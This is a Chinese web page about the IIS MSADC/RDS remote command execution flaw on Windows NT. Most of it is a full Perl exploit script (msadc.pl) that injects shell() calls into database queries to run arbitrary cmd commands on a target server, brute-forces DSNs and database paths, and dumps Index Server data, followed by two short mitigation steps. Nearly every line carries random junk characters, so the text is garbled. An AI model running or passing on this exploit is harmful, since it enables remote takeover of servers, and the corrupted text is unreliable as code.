IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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$>n*/ Nz3zsP$ 涉及程序:
P_kaIPP Microsoft NT server
-hQ96S8 5z9JhU 描述:
G~JCgi 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
_'H2>V_ ^6ExW>K 详细:
PG\\V$}A( 如果你没有时间读详细内容的话,就删除:
'uws c:\Program Files\Common Files\System\Msadc\msadcs.dll
,\BfmC_i 有关的安全问题就没有了。
2;dM:FHLhO 7qW.h>%WE 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
u![4=w FP.(E9 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
<GSQ2bX[ 关于利用ODBC远程漏洞的描述,请参看:
ww-XMz h JqL<$mSep http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ]lymY _ > &uv>'S#% 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
:yd=No@ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5wT',U"+ l0eANB%Y=@ 这里不再论述。
b$;HI7)/K ] dW%g? 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
RmcYaj^= kqjxJ5 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
+I^+k " 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
c ,Qw; tVC@6Z$ ^nG1/} #将下面这段保存为txt文件,然后: "perl -x 文件名"
Vww@eK%5Q ;+S2h-4 #!perl
plzE #
_Jf J%YXy # MSADC/RDS 'usage' (aka exploit) script
l*~"5f03 #
~+sne7
6 U # by rain.forest.puppy
U;x99Go: #
Z)C:]}Ex # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
HY*l 4QK # beta test and find errors!
*=($r%) ~5-~q0Ge use Socket; use Getopt::Std;
pP?<[ql[w getopts("e:vd:h:XR", \%args);
*5ka.=Qs @C!JtgO% print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
}`+O$0A dL1~]Z
y
if (!defined $args{h} && !defined $args{R}) {
_Ym&UY.u# print qq~
VZUZngw Usage: msadc.pl -h <host> { -d <delay> -X -v }
F2Nb5WT -h <host> = host you want to scan (ip or domain)
:6\-9m8JM -d <seconds> = delay between calls, default 1 second
1C^HCIH7J -X = dump Index Server path table, if available
O JZ!|J8? -v = verbose
pkrl@jv > -e = external dictionary file for step 5
e_fg s>o`( },?-$eyX Or a -R will resume a command session
AlPL;^Y_l O^QR;<t' ~; exit;}
P^'>dOI0w \#h})` $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
`DU'wB
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Bbn832iMUY if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
#o(?g-3 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
*!-}lc^4 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
h$#4ebp if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
(.jO:#eE% ?^e*UJNM if (!defined $args{R}){ $ret = &has_msadc;
e
B9m4 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
;j[q?^ b 7)ES!C print "Please type the NT commandline you want to run (cmd /c assumed):\n"
:X1`wBu . "cmd /c ";
-ucz+{ $in=<STDIN>; chomp $in;
<MI$Nl $command="cmd /c " . $in ;
"B_5Y&pM` |THkS@Br if (defined $args{R}) {&load; exit;}
@j)f(Zlu# ~FK+bF?% print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
rRF+\cP?. &try_btcustmr;
$g}/T_26 Mt7X<?GZm print "\nStep 2: Trying to make our own DSN...";
#R"9)vHp &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]5qjK~,4b IdN%f]=/ print "\nStep 3: Trying known DSNs...";
":(Cpf0 &known_dsn;
T1g:gfw@ q\{;_?a print "\nStep 4: Trying known .mdbs...";
!VJT"Ds_ &known_mdb;
J8`1V`$ >o=axZNa if (defined $args{e}){
(_s!,QUe print "\nStep 5: Trying dictionary of DSN names...";
|r<.R> &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
$w2[5|^S +E""8kW- Z print "Sorry Charley...maybe next time?\n";
Z(Ls#hp exit;
Px^<2Q%Fs +ik N) D ##############################################################################
b_)QBE9 {4V:[*3 sub sendraw { # ripped and modded from whisker
&L[8Mju6 sleep($delay); # it's a DoS on the server! At least on mine...
B8BY3~}] my ($pstr)=@_;
]% ZjD socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$AL|d[[T[ die("Socket problems\n");
)nbyV a if(connect(S,pack "SnA4x8",2,80,$target)){
Z;dwn~Tw select(S); $|=1;
rsq'60 print $pstr; my @in=<S>;
T^f&58{ 7 select(STDOUT); close(S);
] BP^.N= return @in;
2yVGEp^ } else { die("Can't connect...\n"); }}
[8om9 Z3 BhhK| U/ ##############################################################################
;r2b@x:<_ CM@"lV_ sub make_header { # make the HTTP request
6P/9Vh j' my $msadc=<<EOT
N|^!"/ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
5u=U-- User-Agent: ACTIVEDATA
1nX68fS.9 Host: $ip
r(/P||`l Content-Length: $clen
:u|UVp5 Connection: Keep-Alive
*SAcH_I2$> HjETinm" ADCClientVersion:01.06
J[_?>YJ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
|~T+f& w-q=.RSTn= --!ADM!ROX!YOUR!WORLD!
CsQ}P) Content-Type: application/x-varg
'E4(!H,k Content-Length: $reqlen
\[hrG?A #f jX|b EOT
F0o18k_" ; $msadc=~s/\n/\r\n/g;
Ov{B-zCA return $msadc;}
J3!k*"P G@l|u ##############################################################################
vr]dRStr :L+zUlsf sub make_req { # make the RDS request
6b1 Uj< my ($switch, $p1, $p2)=@_;
mhHm# my $req=""; my $t1, $t2, $query, $dsn;
::Ve ,-0
_ jM6ej< if ($switch==1){ # this is the btcustmr.mdb query
l<+,(E= $query="Select * from Customers where City=" . make_shell();
E'6z7m. $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
T=)L5 Vuq< $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
%@,:RA\pm 5tbiNm^X elsif ($switch==2){ # this is general make table query
y5opdIaT $query="create table AZZ (B int, C varchar(10))";
LnACce
?b $dsn="$p1";}
BM}a?nnoc A5J#x6@ elsif ($switch==3){ # this is general exploit table query
/(}l[jf $query="select * from AZZ where C=" . make_shell();
<i`K%+<WO $dsn="$p1";}
#IciNCIrG Yv|bUZ@ elsif ($switch==4){ # attempt to hork file info from index server
_d"Y6
0 $query="select path from scope()";
+\]S<T*; $dsn="Provider=MSIDXS;";}
)7 BNzj"~ i\c^h;wX elsif ($switch==5){ # bad query
\?Oa}&k$F8 $query="select";
{N8rZ [Oo $dsn="$p1";}
UW~tS JO;`Kz_$ $t1= make_unicode($query);
TTjjyZ@ $t2= make_unicode($dsn);
)}k`X<~k $req = "\x02\x00\x03\x00";
>?Y3WPB<F $req.= "\x08\x00" . pack ("S1", length($t1));
r;s3(@[,@ $req.= "\x00\x00" . $t1 ;
~o\]K $req.= "\x08\x00" . pack ("S1", length($t2));
WW
Kr & ) $req.= "\x00\x00" . $t2 ;
}N=zn7W $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
I5AjEp return $req;}
jq]\oY8y FV<^q|K/(] ##############################################################################
l[OQo|_ )I1V2k$n sub make_shell { # this makes the shell() statement
m+JGe5fR< return "'|shell(\"$command\")|'";}
:y)&kJpleP tLGwF3e$A ##############################################################################
75cr!+ vmQ
DcCw sub make_unicode { # quick little function to convert to unicode
Ymh2qGcj]8 my ($in)=@_; my $out;
UHm+5%ZC for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
L&F\"q9q71 return $out;}
;@$, "
P nHL>}Yg ##############################################################################
pl? J<48 SF}L3/C&h sub rdo_success { # checks for RDO return success (this is kludge)
kA$;vbm my (@in) = @_; my $base=content_start(@in);
>w'?DV>u| if($in[$base]=~/multipart\/mixed/){
xo@/k return 1 if( $in[$base+10]=~/^\x09\x00/ );}
{hp@j# return 0;}
S+=@d\S}" 'Rf#1ls# ##############################################################################
T"jDq1C/,E oz7udY=]0 sub make_dsn { # this makes a DSN for us
OTbjZ( my @drives=("c","d","e","f");
{d5ur@G1 print "\nMaking DSN: ";
AHg4kG foreach $drive (@drives) {
?@7|Q/ print "$drive: ";
ErUk>V my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
.*..pf|/ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
?J1&,'& . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Le+8s LE`Y $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
+]2~@=<@ return 0 if $2 eq "404"; # not found/doesn't exist
o]k]pNO if($2 eq "200") {
2H0q\zZ foreach $line (@results) {
"VhrsVT return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
z[I/ AORl } return 0;}
,}$x'8v 5Ddyb% ##############################################################################
Q14;G<l- I.0Usa"z sub verify_exists {
q>h+Ke my ($page)=@_;
Y
.X-8 my @results=sendraw("GET $page HTTP/1.0\n\n");
M>l+[U return $results[0];}
Bc`A]U
WN?`Od:y ##############################################################################
fpC@3 itI v8M#%QoA sub try_btcustmr {
m(Xr5hw:6 my @drives=("c","d","e","f");
o".O#^3H% my @dirs=("winnt","winnt35","winnt351","win","windows");
~]s"PV:| s~'C'B? foreach $dir (@dirs) {
l3
Bc
g print "$dir -> "; # fun status so you can see progress
iK23`@&%_ foreach $drive (@drives) {
[\y>&"uk print "$drive: "; # ditto
>TVd*S $reqlen=length( make_req(1,$drive,$dir) ) - 28;
&dMSX}t $reqlenlen=length( "$reqlen" );
Z#t.wWSq $clen= 206 + $reqlenlen + $reqlen;
E<[
bgL Hm[!R:HW,S my @results=sendraw(make_header() . make_req(1,$drive,$dir));
B$eF@v" if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
23?0'AU else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
PW\FcT G(,~{N|| ##############################################################################
m.X+sP-e jtJ8r5j 1 sub odbc_error {
!q1^X% a my (@in)=@_; my $base;
fu;B ?mIn my $base = content_start(@in);
QE6-(/ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
--hnv/AjI $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Fi}rv[`XY[ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
yM ~D.D3H $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^d=@RTyo/ return $in[$base+4].$in[$base+5].$in[$base+6];}
Jm^jz print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
qt;Tfuo print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
V'4}9J $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
0X6o |1 6v4 R ##############################################################################
pNsLoNZ3w z-E4-\a
sub verbose {
^vz@d+\Kd my ($in)=@_;
Z-V%lRQ=b return if !$verbose;
LR.+CxQ print STDOUT "\n$in\n";}
u 9TlXn -C]a2 ##############################################################################
~#Mx&mZ U~c;W@T sub save {
M)RQIl5 my ($p1, $p2, $p3, $p4)=@_;
Q2PwO;E.`C open(OUT, ">rds.save") || print "Problem saving parameters...\n";
S}I=i>QB print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
{iteC close OUT;}
1Ac1CsK* )eyxAg ##############################################################################
>gl <$LQ?X t9l7
% +y sub load {
6XU5T5+P^ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
u{d` open(IN,"<rds.save") || die("Couldn't open rds.save\n");
X Y?@^ @p=<IN>; close(IN);
)o,0aGo>Of $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
@=1``z# $target= inet_aton($ip) || die("inet_aton problems");
!Z)^c& print "Resuming to $ip ...";
b
DvbM $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
eF\C?4 if($p[1]==1) {
I(S6DkU $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
N#ObxOE6T" $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
QQcj"s my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
2geC3v% 0o if (rdo_success(@results)){print "Success!\n";}
DgP%Q else { print "failed\n"; verbose(odbc_error(@results));}}
9jO+ew elsif ($p[1]==3){
U$Z}<8 if(run_query("$p[3]")){
oa7Hx<Y print "Success!\n";} else { print "failed\n"; }}
(`xnA~BN elsif ($p[1]==4){
dkC / ?R if(run_query($drvst . "$p[3]")){
F4{<;4N0 print "Success!\n"; } else { print "failed\n"; }}
pP&M]' exit;}
^a5>`W {HDlv[O% ##############################################################################
z#/*LP#oY C_)>VPD sub create_table {
iB-s*b<`~ my ($in)=@_;
K>eG5tt $reqlen=length( make_req(2,$in,"") ) - 28;
c,ek]dTj $reqlenlen=length( "$reqlen" );
O,v$'r W $clen= 206 + $reqlenlen + $reqlen;
*5)!y
d my @results=sendraw(make_header() . make_req(2,$in,""));
>c eU!=> return 1 if rdo_success(@results);
3!W&J my $temp= odbc_error(@results); verbose($temp);
RkM! BcB return 1 if $temp=~/Table 'AZZ' already exists/;
bq]a8tSB return 0;}
{xH@8T$DX I-"{m/PEdg ##############################################################################
b5R*] Y6a|\K| sub known_dsn {
J_$~OEC~ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
S#dS5OX my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
}IL@j A "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Awh)@iTL "banner", "banners", "ads", "ADCDemo", "ADCTest");
U @|_5[nl .|-y+9IP foreach $dSn (@dsns) {
.IU+4ENSy4 print ".";
]={Hq9d@ next if (!is_access("DSN=$dSn"));
cGKk2'v? if(create_table("DSN=$dSn")){
z(qz(`eGC& print "$dSn successful\n";
?CDq^)T[ if(run_query("DSN=$dSn")){
iI7~9SCE print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
i2E7$[ print "Something's borked. Use verbose next time\n";}}} print "\n";}
e+TNG &_ f'S"F ##############################################################################
N5DS-gv Qt 2hb sub is_access {
^p/mJ1/s7 my ($in)=@_;
H_^c K $reqlen=length( make_req(5,$in,"") ) - 28;
WTx;,TNG $reqlenlen=length( "$reqlen" );
;*p}~#2 $clen= 206 + $reqlenlen + $reqlen;
Q{60^vg my @results=sendraw(make_header() . make_req(5,$in,""));
7j8_O@_ my $temp= odbc_error(@results);
;q2T*4NN verbose($temp); return 1 if ($temp=~/Microsoft Access/);
P9vROzXK return 0;}
[G*mQ@G9 .MlE1n' ##############################################################################
Z)%p,DiNM e`^j_VnEH sub run_query {
u.6%n.g my ($in)=@_;
FReK $reqlen=length( make_req(3,$in,"") ) - 28;
T*m_rDDt $reqlenlen=length( "$reqlen" );
da@
.J9 $clen= 206 + $reqlenlen + $reqlen;
v#xF;@G my @results=sendraw(make_header() . make_req(3,$in,""));
om6R/K return 1 if rdo_success(@results);
Wt=[R 4= my $temp= odbc_error(@results); verbose($temp);
2_Z60] return 0;}
9 pn1d. It[ ~0?+ ##############################################################################
&PX'=UT 0'uj*Y{L sub known_mdb {
~m7+^c@, my @drives=("c","d","e","f","g");
vNIQc "\- my @dirs=("winnt","winnt35","winnt351","win","windows");
,U}8(D~: my $dir, $drive, $mdb;
75y#^pD?c my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
|wx1
[xZ [Wc 73- # this is sparse, because I don't know of many
Alz#zBGb my @sysmdbs=( "\\catroot\\icatalog.mdb",
Wj&s5;2a "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
&n|gPp77$ "\\system32\\certmdb.mdb",
9}N*(PI "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
zPe . UpILr\3U my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Eh+lLtZ "\\cfusion\\cfapps\\forums\\forums_.mdb",
vq}V0-
< "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
J7ln6 Y "\\cfusion\\cfapps\\security\\realm_.mdb",
k>"I!&#g "\\cfusion\\cfapps\\security\\data\\realm.mdb",
gQ~4udla. "\\cfusion\\database\\cfexamples.mdb",
Ad `IgZ "\\cfusion\\database\\cfsnippets.mdb",
-SQYr "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Tb^9J7] "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
\] K-<&f "\\cfusion\\brighttiger\\database\\cleam.mdb",
Zh@\+1] "\\cfusion\\database\\smpolicy.mdb",
f+&yc'[ "\\cfusion\\database\cypress.mdb",
0W)_5f& "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
n !QjptQ "\\website\\cgi-win\\dbsample.mdb",
N@}U ;x} "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
>:=TS"}yS} "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
H\T
h4teE ); #these are just
`8I&(k<wLe foreach $drive (@drives) {
0^=S:~G foreach $dir (@dirs){
#qWEyb2UZ foreach $mdb (@sysmdbs) {
%}/)_RzQ print ".";
hY!G>d{J if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
MEu-lM7v print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
KGIz)/eSg if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
(\j<`"n print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
$aG'.0HW } else { print "Something's borked. Use verbose next time\n"; }}}}}
]#nAld1cmy <FP-]R) foreach $drive (@drives) {
Xp'KQ1w) foreach $mdb (@mdbs) {
{R K#W~h print ".";
rTH@PDk>) if(create_table($drv . $drive . $dir . $mdb)){
_R]h]<TQ print "\n" . $drive . $dir . $mdb . " successful\n";
.#X0P= if(run_query($drv . $drive . $dir . $mdb)){
<YC{q>EMc print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
]@xc9tlG } else { print "Something's borked. Use verbose next time\n"; }}}}
+=R:n^r^, }
?NL2|8 \vI_%su1N ##############################################################################
|l9AgwDg ]n+:lsiV sub hork_idx {
UJb7v:^ print "\nAttempting to dump Index Server tables...\n";
*G9;d0 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
(/%}a`2#o $reqlen=length( make_req(4,"","") ) - 28;
QwhPN'U $reqlenlen=length( "$reqlen" );
;BqX=X+# $clen= 206 + $reqlenlen + $reqlen;
E$cr3 t7Xy my @results=sendraw2(make_header() . make_req(4,"",""));
+wmfl:\^{H if (rdo_success(@results)){
>,DR{A2hSB my $max=@results; my $c; my %d;
7
ir T6O<. for($c=19; $c<$max; $c++){
}5~;jN=k $results[$c]=~s/\x00//g;
X@arUs7 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
,GK>|gNsb $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
m>iuy:ti $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
6c2fqAF>i $d{"$1$2"}="";}
_2|,j\f;L foreach $c (keys %d){ print "$c\n"; }
nP}/#Wy } else {print "Index server doesn't seem to be installed.\n"; }}
|aZ^K\yI F {Z|C ##############################################################################
/:S.("Unv eA!aUu sub dsn_dict {
w:qwU\U>x open(IN, "<$args{e}") || die("Can't open external dictionary\n");
.N%$I6w while(<IN>){
|Oo
WGVc $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
f~]5A%=cZ next if (!is_access("DSN=$dSn"));
WYq, i}S if(create_table("DSN=$dSn")){
\UXQy{Ex print "$dSn successful\n";
;>PV]0bOm> if(run_query("DSN=$dSn")){
MFC= oKD print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
4F'@yi^Gt print "Something's borked. Use verbose next time\n";}}}
>6@UjGj54 print "\n"; close(IN);}
b&LhydaJ =/zQJzN ##############################################################################
R)#"Ab Z' _8bqk\m+ sub sendraw2 { # ripped and modded from whisker
P?bdjU#_n` sleep($delay); # it's a DoS on the server! At least on mine...
5f1yszd my ($pstr)=@_;
zP5H TEz socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
rIu>JyC"p die("Socket problems\n");
o}[wu:>yk if(connect(S,pack "SnA4x8",2,80,$target)){
1f}Dza9 print "Connected. Getting data";
a1?Y7(alPU open(OUT,">raw.out"); my @in;
y_\d[ select(S); $|=1; print $pstr;
*QrTZ$\C while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Ngg (<ZN close(OUT); select(STDOUT); close(S); return @in;
7Q^t( } else { die("Can't connect...\n"); }}
poM VB{U _N<8!(|w ##############################################################################
_mcD*V 9;:Lf sub content_start { # this will take in the server headers
akaQ6DIdG my (@in)=@_; my $c;
\;Ii(3+v; for ($c=1;$c<500;$c++) {
J&lQ,T!?B if($in[$c] =~/^\x0d\x0a/){
T'w=v-(J if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
yM>c**9 else { return $c+1; }}}
r|
YuHm return -1;} # it should never get here actually
ZVI.s U PyIIdTm ##############################################################################
IuRKj8J)o XrYz[h*)! sub funky {
6}[W%S]8 my (@in)=@_; my $error=odbc_error(@in);
gPDc6{/C< if($error=~/ADO could not find the specified provider/){
;0ake%v] print "\nServer returned an ADO miscofiguration message\nAborting.\n";
M7hff4c exit;}
,KZ_#9[> if($error=~/A Handler is required/){
@*F
NWT6 print "\nServer has custom handler filters (they most likely are patched)\n";
1,Y-_e) exit;}
n`}vcVL; if($error=~/specified Handler has denied Access/){
kGCd!$fsk print "\nServer has custom handler filters (they most likely are patched)\n";
hMi`n6m exit;}}
^ng?+X>mP Zsaz#z|xW ##############################################################################
VNF@)!l uZi]$/ic sub has_msadc {
)bqO}_B my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
y6;A4p> my $base=content_start(@results);
7v#sr< return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
BsRxD9r return 0;}
'r3I/qg*m zxXm9zrLo ########################
"`16-g97 ]>&au8 )~rN{W<s`H 解决方案:
GBN^ *I 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
~fEgrF d 2、移除web 目录: /msadc